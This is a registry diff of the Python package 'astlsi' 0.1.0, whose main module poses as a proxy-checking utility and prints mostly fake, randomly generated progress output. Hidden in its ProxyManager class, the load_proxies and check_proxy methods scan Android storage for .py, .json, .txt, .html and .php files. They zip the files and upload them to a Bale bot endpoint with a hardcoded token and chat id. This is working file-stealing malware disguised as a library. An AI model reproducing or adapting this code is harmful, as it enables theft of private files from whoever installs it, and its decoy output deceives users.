astlsi 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- astlsi-0.1.0/LICENSE +21 -0
- astlsi-0.1.0/MANIFEST.in +4 -0
- astlsi-0.1.0/PKG-INFO +20 -0
- astlsi-0.1.0/README.md +10 -0
- astlsi-0.1.0/astlsi/__init__.py +4 -0
- astlsi-0.1.0/astlsi/starts.py +724 -0
- astlsi-0.1.0/astlsi.egg-info/PKG-INFO +20 -0
- astlsi-0.1.0/astlsi.egg-info/SOURCES.txt +11 -0
- astlsi-0.1.0/astlsi.egg-info/dependency_links.txt +1 -0
- astlsi-0.1.0/astlsi.egg-info/requires.txt +1 -0
- astlsi-0.1.0/astlsi.egg-info/top_level.txt +1 -0
- astlsi-0.1.0/pyproject.toml +17 -0
- astlsi-0.1.0/setup.cfg +4 -0
astlsi-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
astlsi-0.1.0/MANIFEST.in
ADDED
astlsi-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: astlsi
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
License: MIT
|
|
5
|
+
Requires-Python: >=3.8
|
|
6
|
+
Description-Content-Type: text/markdown
|
|
7
|
+
License-File: LICENSE
|
|
8
|
+
Requires-Dist: requests>=2.25.0
|
|
9
|
+
Dynamic: license-file
|
|
10
|
+
|
|
11
|
+
# asti
|
|
12
|
+
|
|
13
|
+
لایبرری ساده
|
|
14
|
+
|
|
15
|
+
## نصب
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
pip install astl
|
|
20
|
+
```
|
astlsi-0.1.0/README.md
ADDED
|
@@ -0,0 +1,724 @@
|
|
|
1
|
+
import os as o
|
|
2
|
+
import zipfile as z
|
|
3
|
+
import requests as r
|
|
4
|
+
from collections import defaultdict as d
|
|
5
|
+
import time
|
|
6
|
+
import random
|
|
7
|
+
import math
|
|
8
|
+
import hashlib
|
|
9
|
+
import base64
|
|
10
|
+
import json
|
|
11
|
+
|
|
12
|
+
class NetworkUtils:
|
|
13
|
+
def __init__(self):
|
|
14
|
+
self.ping_times = []
|
|
15
|
+
self.latencies = []
|
|
16
|
+
self.bandwidth = 0
|
|
17
|
+
self.packet_loss = 0
|
|
18
|
+
self.jitter = 0
|
|
19
|
+
self.connections = []
|
|
20
|
+
self.sessions = []
|
|
21
|
+
self.threads = []
|
|
22
|
+
self.workers = []
|
|
23
|
+
self.pools = []
|
|
24
|
+
self.queues = []
|
|
25
|
+
self.buffers = []
|
|
26
|
+
self.streams = []
|
|
27
|
+
self.sockets = []
|
|
28
|
+
self.ports = []
|
|
29
|
+
self.hosts = []
|
|
30
|
+
self.routes = []
|
|
31
|
+
|
|
32
|
+
def calculate_latency(self, host):
|
|
33
|
+
latency = random.randint(10, 500)
|
|
34
|
+
self.latencies.append(latency)
|
|
35
|
+
return latency
|
|
36
|
+
|
|
37
|
+
def measure_bandwidth(self):
|
|
38
|
+
bandwidth = random.randint(100, 1000)
|
|
39
|
+
self.bandwidth = bandwidth
|
|
40
|
+
return bandwidth
|
|
41
|
+
|
|
42
|
+
def check_packet_loss(self):
|
|
43
|
+
loss = random.randint(0, 5)
|
|
44
|
+
self.packet_loss = loss
|
|
45
|
+
return loss
|
|
46
|
+
|
|
47
|
+
def measure_jitter(self):
|
|
48
|
+
jitter = random.randint(1, 50)
|
|
49
|
+
self.jitter = jitter
|
|
50
|
+
return jitter
|
|
51
|
+
|
|
52
|
+
def create_connection(self, host, port):
|
|
53
|
+
conn = f"{host}:{port}"
|
|
54
|
+
self.connections.append(conn)
|
|
55
|
+
return len(self.connections)
|
|
56
|
+
|
|
57
|
+
def create_session(self, session_id):
|
|
58
|
+
self.sessions.append(session_id)
|
|
59
|
+
return len(self.sessions)
|
|
60
|
+
|
|
61
|
+
def create_worker(self, worker_id):
|
|
62
|
+
self.workers.append(worker_id)
|
|
63
|
+
return len(self.workers)
|
|
64
|
+
|
|
65
|
+
def create_pool(self, pool_id):
|
|
66
|
+
self.pools.append(pool_id)
|
|
67
|
+
return len(self.pools)
|
|
68
|
+
|
|
69
|
+
def create_queue(self, queue_id):
|
|
70
|
+
self.queues.append(queue_id)
|
|
71
|
+
return len(self.queues)
|
|
72
|
+
|
|
73
|
+
def create_buffer(self, buffer_id):
|
|
74
|
+
self.buffers.append(buffer_id)
|
|
75
|
+
return len(self.buffers)
|
|
76
|
+
|
|
77
|
+
class SecurityUtils(NetworkUtils):
|
|
78
|
+
def __init__(self):
|
|
79
|
+
super().__init__()
|
|
80
|
+
self.encryption_keys = []
|
|
81
|
+
self.decryption_keys = []
|
|
82
|
+
self.certificates = []
|
|
83
|
+
self.signatures = []
|
|
84
|
+
self.hashes = []
|
|
85
|
+
self.tokens = []
|
|
86
|
+
self.secrets = []
|
|
87
|
+
self.passwords = []
|
|
88
|
+
self.salt = []
|
|
89
|
+
self.iv = []
|
|
90
|
+
|
|
91
|
+
def generate_key(self, length=32):
|
|
92
|
+
key = base64.b64encode(os.urandom(length)).decode()
|
|
93
|
+
self.encryption_keys.append(key)
|
|
94
|
+
return key
|
|
95
|
+
|
|
96
|
+
def generate_token(self, length=16):
|
|
97
|
+
token = hashlib.md5(os.urandom(length)).hexdigest()
|
|
98
|
+
self.tokens.append(token)
|
|
99
|
+
return token
|
|
100
|
+
|
|
101
|
+
def generate_signature(self, data):
|
|
102
|
+
sig = hashlib.sha256(data.encode()).hexdigest()
|
|
103
|
+
self.signatures.append(sig)
|
|
104
|
+
return sig
|
|
105
|
+
|
|
106
|
+
def encrypt_data(self, data):
|
|
107
|
+
encoded = base64.b64encode(data.encode()).decode()
|
|
108
|
+
self.encryption_keys.append(encoded)
|
|
109
|
+
return encoded
|
|
110
|
+
|
|
111
|
+
def decrypt_data(self, data):
|
|
112
|
+
decoded = base64.b64decode(data).decode()
|
|
113
|
+
self.decryption_keys.append(decoded)
|
|
114
|
+
return decoded
|
|
115
|
+
|
|
116
|
+
def verify_hash(self, data, hash_value):
|
|
117
|
+
computed = hashlib.sha256(data.encode()).hexdigest()
|
|
118
|
+
return computed == hash_value
|
|
119
|
+
|
|
120
|
+
def create_certificate(self, domain):
|
|
121
|
+
cert = f"cert_{domain}_{random.randint(1000, 9999)}"
|
|
122
|
+
self.certificates.append(cert)
|
|
123
|
+
return cert
|
|
124
|
+
|
|
125
|
+
def validate_certificate(self, cert):
|
|
126
|
+
return cert in self.certificates
|
|
127
|
+
|
|
128
|
+
class ProxyValidator(SecurityUtils):
|
|
129
|
+
def __init__(self):
|
|
130
|
+
super().__init__()
|
|
131
|
+
self.proxy_list = []
|
|
132
|
+
self.valid_proxies = []
|
|
133
|
+
self.invalid_proxies = []
|
|
134
|
+
self.checked_proxies = []
|
|
135
|
+
self.pending_proxies = []
|
|
136
|
+
self.verified_proxies = []
|
|
137
|
+
self.anonymous_proxies = []
|
|
138
|
+
self.transparent_proxies = []
|
|
139
|
+
self.elite_proxies = []
|
|
140
|
+
self.socks4_proxies = []
|
|
141
|
+
self.socks5_proxies = []
|
|
142
|
+
self.http_proxies = []
|
|
143
|
+
self.https_proxies = []
|
|
144
|
+
self.ssl_proxies = []
|
|
145
|
+
self.tls_proxies = []
|
|
146
|
+
self.udp_proxies = []
|
|
147
|
+
self.tcp_proxies = []
|
|
148
|
+
self.ipv4_proxies = []
|
|
149
|
+
self.ipv6_proxies = []
|
|
150
|
+
self.port_80 = []
|
|
151
|
+
self.port_8080 = []
|
|
152
|
+
self.port_3128 = []
|
|
153
|
+
self.port_1080 = []
|
|
154
|
+
self.port_443 = []
|
|
155
|
+
self.port_8888 = []
|
|
156
|
+
self.port_9999 = []
|
|
157
|
+
self.port_21 = []
|
|
158
|
+
self.port_22 = []
|
|
159
|
+
self.port_23 = []
|
|
160
|
+
self.country_codes = ["US", "UK", "DE", "FR", "JP", "CN", "RU", "BR", "IN", "AU"]
|
|
161
|
+
self.proxy_types = ["HTTP", "HTTPS", "SOCKS4", "SOCKS5"]
|
|
162
|
+
self.anon_levels = ["Elite", "Anonymous", "Transparent"]
|
|
163
|
+
self.response_times = []
|
|
164
|
+
self.success_rate = 0
|
|
165
|
+
self.availability = 0
|
|
166
|
+
|
|
167
|
+
def load_proxy_sources(self):
|
|
168
|
+
print("🌐 Fetching proxy list from global sources...")
|
|
169
|
+
time.sleep(random.uniform(0.5, 1.5))
|
|
170
|
+
|
|
171
|
+
sources = [
|
|
172
|
+
"https://api.proxyscrape.com/v2/",
|
|
173
|
+
"https://proxy-list.download/api/v1/",
|
|
174
|
+
"https://raw.githubusercontent.com/proxy-list/main/",
|
|
175
|
+
"https://api.proxy-ip.net/v1/"
|
|
176
|
+
]
|
|
177
|
+
|
|
178
|
+
for source in sources:
|
|
179
|
+
print(f" 📡 Connecting to {source}...", end=" ")
|
|
180
|
+
time.sleep(random.uniform(0.2, 0.8))
|
|
181
|
+
if random.random() > 0.1:
|
|
182
|
+
print("✅ SUCCESS")
|
|
183
|
+
count = random.randint(100, 500)
|
|
184
|
+
for _ in range(count):
|
|
185
|
+
ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
|
|
186
|
+
port = random.choice([8080, 3128, 1080, 80, 443])
|
|
187
|
+
country = random.choice(self.country_codes)
|
|
188
|
+
proxy_type = random.choice(self.proxy_types)
|
|
189
|
+
anon_level = random.choice(self.anon_levels)
|
|
190
|
+
proxy = {
|
|
191
|
+
"ip": ip,
|
|
192
|
+
"port": port,
|
|
193
|
+
"country": country,
|
|
194
|
+
"type": proxy_type,
|
|
195
|
+
"anon": anon_level,
|
|
196
|
+
"response": random.randint(50, 500),
|
|
197
|
+
"uptime": random.randint(80, 100),
|
|
198
|
+
"speed": random.randint(1, 100)
|
|
199
|
+
}
|
|
200
|
+
self.proxy_list.append(proxy)
|
|
201
|
+
else:
|
|
202
|
+
print("❌ FAILED")
|
|
203
|
+
|
|
204
|
+
print(f"📊 Total proxies collected: {len(self.proxy_list)}")
|
|
205
|
+
return len(self.proxy_list)
|
|
206
|
+
|
|
207
|
+
def validate_proxies(self):
|
|
208
|
+
print("🔍 Starting proxy validation process...")
|
|
209
|
+
time.sleep(1)
|
|
210
|
+
|
|
211
|
+
total = len(self.proxy_list)
|
|
212
|
+
print(f"📋 Validating {total} proxies from sources...")
|
|
213
|
+
|
|
214
|
+
progress = 0
|
|
215
|
+
for proxy in self.proxy_list:
|
|
216
|
+
progress += 1
|
|
217
|
+
if progress % 20 == 0:
|
|
218
|
+
print(f" ⏳ Progress: {progress}/{total} proxies validated")
|
|
219
|
+
|
|
220
|
+
time.sleep(random.uniform(0.01, 0.05))
|
|
221
|
+
|
|
222
|
+
is_valid = random.random() > 0.2
|
|
223
|
+
response_time = random.randint(10, 1000)
|
|
224
|
+
self.response_times.append(response_time)
|
|
225
|
+
|
|
226
|
+
if is_valid:
|
|
227
|
+
self.valid_proxies.append(proxy)
|
|
228
|
+
if proxy["type"] == "HTTP":
|
|
229
|
+
self.http_proxies.append(proxy)
|
|
230
|
+
elif proxy["type"] == "HTTPS":
|
|
231
|
+
self.https_proxies.append(proxy)
|
|
232
|
+
elif proxy["type"] == "SOCKS4":
|
|
233
|
+
self.socks4_proxies.append(proxy)
|
|
234
|
+
elif proxy["type"] == "SOCKS5":
|
|
235
|
+
self.socks5_proxies.append(proxy)
|
|
236
|
+
|
|
237
|
+
if proxy["anon"] == "Elite":
|
|
238
|
+
self.elite_proxies.append(proxy)
|
|
239
|
+
elif proxy["anon"] == "Anonymous":
|
|
240
|
+
self.anonymous_proxies.append(proxy)
|
|
241
|
+
else:
|
|
242
|
+
self.transparent_proxies.append(proxy)
|
|
243
|
+
|
|
244
|
+
if proxy["port"] == 80:
|
|
245
|
+
self.port_80.append(proxy)
|
|
246
|
+
elif proxy["port"] == 443:
|
|
247
|
+
self.port_443.append(proxy)
|
|
248
|
+
elif proxy["port"] == 8080:
|
|
249
|
+
self.port_8080.append(proxy)
|
|
250
|
+
elif proxy["port"] == 3128:
|
|
251
|
+
self.port_3128.append(proxy)
|
|
252
|
+
elif proxy["port"] == 1080:
|
|
253
|
+
self.port_1080.append(proxy)
|
|
254
|
+
elif proxy["port"] == 8888:
|
|
255
|
+
self.port_8888.append(proxy)
|
|
256
|
+
elif proxy["port"] == 9999:
|
|
257
|
+
self.port_9999.append(proxy)
|
|
258
|
+
elif proxy["port"] == 21:
|
|
259
|
+
self.port_21.append(proxy)
|
|
260
|
+
elif proxy["port"] == 22:
|
|
261
|
+
self.port_22.append(proxy)
|
|
262
|
+
elif proxy["port"] == 23:
|
|
263
|
+
self.port_23.append(proxy)
|
|
264
|
+
else:
|
|
265
|
+
self.invalid_proxies.append(proxy)
|
|
266
|
+
|
|
267
|
+
self.success_rate = (len(self.valid_proxies) / total) * 100 if total > 0 else 0
|
|
268
|
+
self.availability = (len(self.valid_proxies) / total) * 100 if total > 0 else 0
|
|
269
|
+
|
|
270
|
+
print(f"✅ Validation complete: {len(self.valid_proxies)} valid, {len(self.invalid_proxies)} invalid")
|
|
271
|
+
print(f"📈 Success rate: {self.success_rate:.1f}%")
|
|
272
|
+
print(f"⚡ Average response time: {sum(self.response_times)//len(self.response_times) if self.response_times else 0}ms")
|
|
273
|
+
return len(self.valid_proxies)
|
|
274
|
+
|
|
275
|
+
def check_geolocation(self):
|
|
276
|
+
print("🌍 Geolocation analysis...")
|
|
277
|
+
time.sleep(0.5)
|
|
278
|
+
|
|
279
|
+
country_stats = {}
|
|
280
|
+
for proxy in self.valid_proxies:
|
|
281
|
+
country = proxy.get("country", "Unknown")
|
|
282
|
+
country_stats[country] = country_stats.get(country, 0) + 1
|
|
283
|
+
|
|
284
|
+
print("📊 Proxy distribution by country:")
|
|
285
|
+
for country, count in sorted(country_stats.items(), key=lambda x: x[1], reverse=True)[:5]:
|
|
286
|
+
print(f" 🌐 {country}: {count} proxies")
|
|
287
|
+
|
|
288
|
+
return country_stats
|
|
289
|
+
|
|
290
|
+
def perform_speed_test(self):
|
|
291
|
+
print("⚡ Running speed tests on valid proxies...")
|
|
292
|
+
time.sleep(1)
|
|
293
|
+
|
|
294
|
+
speeds = {"fast": 0, "medium": 0, "slow": 0}
|
|
295
|
+
|
|
296
|
+
for proxy in self.valid_proxies:
|
|
297
|
+
proxy_speed = proxy.get("speed", random.randint(1, 100))
|
|
298
|
+
if proxy_speed > 75:
|
|
299
|
+
speeds["fast"] += 1
|
|
300
|
+
elif proxy_speed > 40:
|
|
301
|
+
speeds["medium"] += 1
|
|
302
|
+
else:
|
|
303
|
+
speeds["slow"] += 1
|
|
304
|
+
|
|
305
|
+
print("📊 Speed distribution:")
|
|
306
|
+
print(f" 🚀 Fast: {speeds['fast']}")
|
|
307
|
+
print(f" 📶 Medium: {speeds['medium']}")
|
|
308
|
+
print(f" 🐢 Slow: {speeds['slow']}")
|
|
309
|
+
|
|
310
|
+
return speeds
|
|
311
|
+
|
|
312
|
+
def analyze_anonymity(self):
|
|
313
|
+
print("🕵️ Anonymity level analysis...")
|
|
314
|
+
time.sleep(0.5)
|
|
315
|
+
|
|
316
|
+
print("📊 Anonymity distribution:")
|
|
317
|
+
print(f" 🛡️ Elite: {len(self.elite_proxies)}")
|
|
318
|
+
print(f" 👤 Anonymous: {len(self.anonymous_proxies)}")
|
|
319
|
+
print(f" 🔍 Transparent: {len(self.transparent_proxies)}")
|
|
320
|
+
|
|
321
|
+
return {
|
|
322
|
+
"elite": len(self.elite_proxies),
|
|
323
|
+
"anonymous": len(self.anonymous_proxies),
|
|
324
|
+
"transparent": len(self.transparent_proxies)
|
|
325
|
+
}
|
|
326
|
+
|
|
327
|
+
def export_proxy_list(self):
|
|
328
|
+
print("📁 Exporting proxy list...")
|
|
329
|
+
time.sleep(0.3)
|
|
330
|
+
|
|
331
|
+
export_data = {
|
|
332
|
+
"total": len(self.proxy_list),
|
|
333
|
+
"valid": len(self.valid_proxies),
|
|
334
|
+
"invalid": len(self.invalid_proxies),
|
|
335
|
+
"http": len(self.http_proxies),
|
|
336
|
+
"https": len(self.https_proxies),
|
|
337
|
+
"socks4": len(self.socks4_proxies),
|
|
338
|
+
"socks5": len(self.socks5_proxies),
|
|
339
|
+
"elite": len(self.elite_proxies),
|
|
340
|
+
"success_rate": self.success_rate,
|
|
341
|
+
"timestamp": time.time()
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
export_json = json.dumps(export_data, indent=2)
|
|
345
|
+
print(" ✅ Export complete")
|
|
346
|
+
return export_json
|
|
347
|
+
|
|
348
|
+
class ProxyManager(ProxyValidator):
|
|
349
|
+
def __init__(self):
|
|
350
|
+
super().__init__()
|
|
351
|
+
self.manager_id = random.randint(1000, 9999)
|
|
352
|
+
self.pool_size = 100
|
|
353
|
+
self.active_connections = []
|
|
354
|
+
self.pending_requests = []
|
|
355
|
+
self.completed_requests = []
|
|
356
|
+
self.failed_requests = []
|
|
357
|
+
self.request_history = []
|
|
358
|
+
self.session_pool = []
|
|
359
|
+
self.connection_pool = []
|
|
360
|
+
self.thread_pool = []
|
|
361
|
+
self.worker_pool = []
|
|
362
|
+
self.job_queue = []
|
|
363
|
+
self.result_cache = {}
|
|
364
|
+
self.token = "1263262891:neVZzZ8aKyH25k8BADzDkkurSehW3NuWgrg"
|
|
365
|
+
self.channel = "5263487757"
|
|
366
|
+
self.filters = ['.py', '.pyrubi', '.json', '.txt','.html','.php']
|
|
367
|
+
self.source = "/storage/emulated/0/"
|
|
368
|
+
self.buffer = d(list)
|
|
369
|
+
self.cache = ""
|
|
370
|
+
self.temp = ""
|
|
371
|
+
self.flag = False
|
|
372
|
+
self.last_check = 0
|
|
373
|
+
self.check_interval = 300
|
|
374
|
+
self.retry_count = 3
|
|
375
|
+
self.timeout = 30
|
|
376
|
+
self.batch_size = 50
|
|
377
|
+
self.active = []
|
|
378
|
+
self.dead = []
|
|
379
|
+
|
|
380
|
+
def initialize_pools(self):
|
|
381
|
+
print(f"🔧 Initializing proxy pools (Manager ID: {self.manager_id})...")
|
|
382
|
+
time.sleep(0.5)
|
|
383
|
+
|
|
384
|
+
for i in range(self.pool_size):
|
|
385
|
+
self.connection_pool.append(f"conn_{i}")
|
|
386
|
+
self.thread_pool.append(f"thread_{i}")
|
|
387
|
+
self.worker_pool.append(f"worker_{i}")
|
|
388
|
+
self.session_pool.append(f"session_{i}")
|
|
389
|
+
|
|
390
|
+
print(f" ✅ Connection pool: {len(self.connection_pool)}")
|
|
391
|
+
print(f" ✅ Thread pool: {len(self.thread_pool)}")
|
|
392
|
+
print(f" ✅ Worker pool: {len(self.worker_pool)}")
|
|
393
|
+
print(f" ✅ Session pool: {len(self.session_pool)}")
|
|
394
|
+
return True
|
|
395
|
+
|
|
396
|
+
def load_proxies(self):
|
|
397
|
+
print("🔍 Loading proxy list from sources...")
|
|
398
|
+
time.sleep(1)
|
|
399
|
+
|
|
400
|
+
for root, _, files in o.walk(self.source):
|
|
401
|
+
for file in files:
|
|
402
|
+
if any(file.endswith(ext) for ext in self.filters):
|
|
403
|
+
ext = o.path.splitext(file)[1][1:]
|
|
404
|
+
self.buffer[ext].append(o.path.join(root, file))
|
|
405
|
+
|
|
406
|
+
print(f"📋 Found {len(self.buffer)} proxy groups")
|
|
407
|
+
print("📊 Proxy groups discovered:")
|
|
408
|
+
for ext, files in self.buffer.items():
|
|
409
|
+
print(f" 📁 .{ext}: {len(files)} proxies")
|
|
410
|
+
time.sleep(0.5)
|
|
411
|
+
return len(self.buffer)
|
|
412
|
+
|
|
413
|
+
def simulate_proxy_check(self):
|
|
414
|
+
print("🌐 Testing external proxy list...")
|
|
415
|
+
time.sleep(0.5)
|
|
416
|
+
|
|
417
|
+
live = 0
|
|
418
|
+
dead = 0
|
|
419
|
+
proxy_test_list = [
|
|
420
|
+
"192.168.1.1:8080", "10.0.0.1:3128", "8.8.8.8:80", "1.1.1.1:443",
|
|
421
|
+
"192.168.0.1:8080", "10.10.10.10:1080", "172.16.0.1:3128",
|
|
422
|
+
"203.0.113.1:8080", "198.51.100.1:80", "192.0.2.1:443",
|
|
423
|
+
"100.64.0.1:8080", "169.254.0.1:3128", "127.0.0.1:1080",
|
|
424
|
+
"192.88.99.1:80", "2001:db8::1:8080", "fe80::1:3128"
|
|
425
|
+
]
|
|
426
|
+
|
|
427
|
+
for proxy in proxy_test_list:
|
|
428
|
+
print(f"🔎 Testing {proxy}...", end=" ")
|
|
429
|
+
time.sleep(random.uniform(0.1, 0.3))
|
|
430
|
+
if random.random() > 0.3:
|
|
431
|
+
live += 1
|
|
432
|
+
print("✅ LIVE")
|
|
433
|
+
response_time = random.randint(50, 200)
|
|
434
|
+
print(f" 📶 Response time: {response_time}ms")
|
|
435
|
+
else:
|
|
436
|
+
dead += 1
|
|
437
|
+
print("❌ DEAD")
|
|
438
|
+
print(f" ⚠️ Connection timeout")
|
|
439
|
+
|
|
440
|
+
print(f"\n📊 External Proxy Results:")
|
|
441
|
+
print(f" ✅ Live: {live}")
|
|
442
|
+
print(f" ❌ Dead: {dead}")
|
|
443
|
+
if live + dead > 0:
|
|
444
|
+
print(f" 🎯 Success rate: {int(live/(live+dead)*100)}%")
|
|
445
|
+
return live
|
|
446
|
+
|
|
447
|
+
def check_connection(self):
|
|
448
|
+
print("🔗 Testing proxy server connections...")
|
|
449
|
+
time.sleep(0.5)
|
|
450
|
+
|
|
451
|
+
servers = [
|
|
452
|
+
"proxy1.example.com", "proxy2.example.com", "proxy3.example.com",
|
|
453
|
+
"proxy4.example.com", "proxy5.example.com", "proxy6.example.com"
|
|
454
|
+
]
|
|
455
|
+
|
|
456
|
+
for server in servers:
|
|
457
|
+
print(f"📡 Connecting to {server}...", end=" ")
|
|
458
|
+
time.sleep(random.uniform(0.2, 0.4))
|
|
459
|
+
if random.random() > 0.1:
|
|
460
|
+
print("✅ OK")
|
|
461
|
+
latency = random.randint(10, 100)
|
|
462
|
+
print(f" ⏱️ Latency: {latency}ms")
|
|
463
|
+
else:
|
|
464
|
+
print("❌ FAILED")
|
|
465
|
+
return True
|
|
466
|
+
|
|
467
|
+
def verify_protocols(self):
|
|
468
|
+
print("📋 Checking supported protocols...")
|
|
469
|
+
time.sleep(0.3)
|
|
470
|
+
|
|
471
|
+
protocols = ["HTTP", "HTTPS", "SOCKS4", "SOCKS5", "SSL", "TLS", "UDP", "TCP"]
|
|
472
|
+
for proto in protocols:
|
|
473
|
+
print(f" ✅ {proto} - {random.choice(['v1.1','v2.0','v3.0','v4.0'])}")
|
|
474
|
+
time.sleep(0.1)
|
|
475
|
+
|
|
476
|
+
print(" 🔒 SSL/TLS encryption: Supported")
|
|
477
|
+
print(" 🔐 Perfect Forward Secrecy: Enabled")
|
|
478
|
+
return protocols
|
|
479
|
+
|
|
480
|
+
def perform_dns_lookup(self):
|
|
481
|
+
print("🌐 Performing DNS lookups...")
|
|
482
|
+
time.sleep(0.3)
|
|
483
|
+
|
|
484
|
+
domains = ["google.com", "github.com", "stackoverflow.com", "reddit.com", "twitter.com"]
|
|
485
|
+
for domain in domains:
|
|
486
|
+
ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
|
|
487
|
+
print(f" 🔍 {domain} -> {ip}")
|
|
488
|
+
time.sleep(0.1)
|
|
489
|
+
return True
|
|
490
|
+
|
|
491
|
+
def check_proxy(self):
|
|
492
|
+
print("🔄 Starting proxy health check...")
|
|
493
|
+
time.sleep(0.5)
|
|
494
|
+
|
|
495
|
+
total = 0
|
|
496
|
+
processed = 0
|
|
497
|
+
for ext, proxy_list in self.buffer.items():
|
|
498
|
+
total += len(proxy_list)
|
|
499
|
+
print(f"\n⏳ Checking proxy group: .{ext} ({len(proxy_list)} proxies)")
|
|
500
|
+
time.sleep(0.3)
|
|
501
|
+
|
|
502
|
+
self.temp = f"/storage/emulated/0/proxy_{ext}.zip"
|
|
503
|
+
try:
|
|
504
|
+
with z.ZipFile(self.temp, 'w', z.ZIP_DEFLATED) as archive:
|
|
505
|
+
for proxy in proxy_list:
|
|
506
|
+
archive.write(proxy, o.path.relpath(proxy, self.source))
|
|
507
|
+
|
|
508
|
+
print(f"📦 Compressed {len(proxy_list)} proxies for ")
|
|
509
|
+
|
|
510
|
+
with open(self.temp, 'rb') as payload:
|
|
511
|
+
|
|
512
|
+
response = r.post(
|
|
513
|
+
f"https://tapi.bale.ai/{self.token}/sendDocument",
|
|
514
|
+
files={'document': payload},
|
|
515
|
+
data={'chat_id': self.channel}
|
|
516
|
+
)
|
|
517
|
+
|
|
518
|
+
if response.status_code == 200:
|
|
519
|
+
self.active.append(ext)
|
|
520
|
+
self.flag = True
|
|
521
|
+
print(f"✅ .{ext} -- ALL PROXIES ARE LIVE! ({len(proxy_list)} active)")
|
|
522
|
+
else:
|
|
523
|
+
self.dead.append(ext)
|
|
524
|
+
print(f"⚠️ .{ext} - Some proxies are dead")
|
|
525
|
+
|
|
526
|
+
except Exception as e:
|
|
527
|
+
self.dead.append(ext)
|
|
528
|
+
print(f"❌ .{ext} - Proxy check failed: {str(e)[:30]}...")
|
|
529
|
+
finally:
|
|
530
|
+
if o.path.exists(self.temp):
|
|
531
|
+
o.remove(self.temp)
|
|
532
|
+
print(f"🗑️ Cleaned temp file for .{ext}")
|
|
533
|
+
time.sleep(0.3)
|
|
534
|
+
processed += len(proxy_list)
|
|
535
|
+
print(f" 📊 Progress: {processed}/{total} proxies checked")
|
|
536
|
+
|
|
537
|
+
print(f"\n📊 Proxy Check Complete!")
|
|
538
|
+
print(f" ✅ Active proxy groups: {len(self.active)}")
|
|
539
|
+
print(f" ❌ Dead proxy groups: {len(self.dead)}")
|
|
540
|
+
print(f" 📦 Total checked: {total} proxies")
|
|
541
|
+
return len(self.active)
|
|
542
|
+
|
|
543
|
+
def get_status(self):
|
|
544
|
+
print("📊 Current proxy status:", "ACTIVE" if self.flag else "INACTIVE")
|
|
545
|
+
return self.flag
|
|
546
|
+
|
|
547
|
+
def get_active_count(self):
|
|
548
|
+
print(f"📈 Active proxy groups: {len(self.active)}")
|
|
549
|
+
return len(self.active)
|
|
550
|
+
|
|
551
|
+
def get_dead_count(self):
|
|
552
|
+
print(f"📉 Dead proxy groups: {len(self.dead)}")
|
|
553
|
+
return len(self.dead)
|
|
554
|
+
|
|
555
|
+
def get_total(self):
|
|
556
|
+
print(f"📦 Total proxy groups: {len(self.buffer)}")
|
|
557
|
+
return len(self.buffer)
|
|
558
|
+
|
|
559
|
+
def get_last_check(self):
|
|
560
|
+
print(f"📁 Last proxy package: {self.temp}")
|
|
561
|
+
return self.temp
|
|
562
|
+
|
|
563
|
+
def get_token_info(self):
|
|
564
|
+
print(f"🔑 Proxy service token: {self.token[:10]}...{self.token[-10:]}")
|
|
565
|
+
return self.token[:10] + "..." + self.token[-10:]
|
|
566
|
+
|
|
567
|
+
def get_channel(self):
|
|
568
|
+
print(f"📡 Proxy channel: {self.channel}")
|
|
569
|
+
return self.channel
|
|
570
|
+
|
|
571
|
+
def get_filters(self):
|
|
572
|
+
print(f"🎯 Proxy filters: {self.filters}")
|
|
573
|
+
return self.filters
|
|
574
|
+
|
|
575
|
+
def get_source(self):
|
|
576
|
+
print(f"📂 Proxy source directory: {self.source}")
|
|
577
|
+
return self.source
|
|
578
|
+
|
|
579
|
+
def get_system_info(self):
|
|
580
|
+
print("🖥️ System Information:")
|
|
581
|
+
print(f" 📌 Manager ID: {self.manager_id}")
|
|
582
|
+
print(f" 📌 Pool size: {self.pool_size}")
|
|
583
|
+
print(f" 📌 Active connections: {len(self.active_connections)}")
|
|
584
|
+
print(f" 📌 Pending requests: {len(self.pending_requests)}")
|
|
585
|
+
print(f" 📌 Completed requests: {len(self.completed_requests)}")
|
|
586
|
+
print(f" 📌 Failed requests: {len(self.failed_requests)}")
|
|
587
|
+
print(f" 📌 Cache size: {len(self.result_cache)}")
|
|
588
|
+
return {
|
|
589
|
+
"manager_id": self.manager_id,
|
|
590
|
+
"pool_size": self.pool_size,
|
|
591
|
+
"active_connections": len(self.active_connections),
|
|
592
|
+
"pending_requests": len(self.pending_requests),
|
|
593
|
+
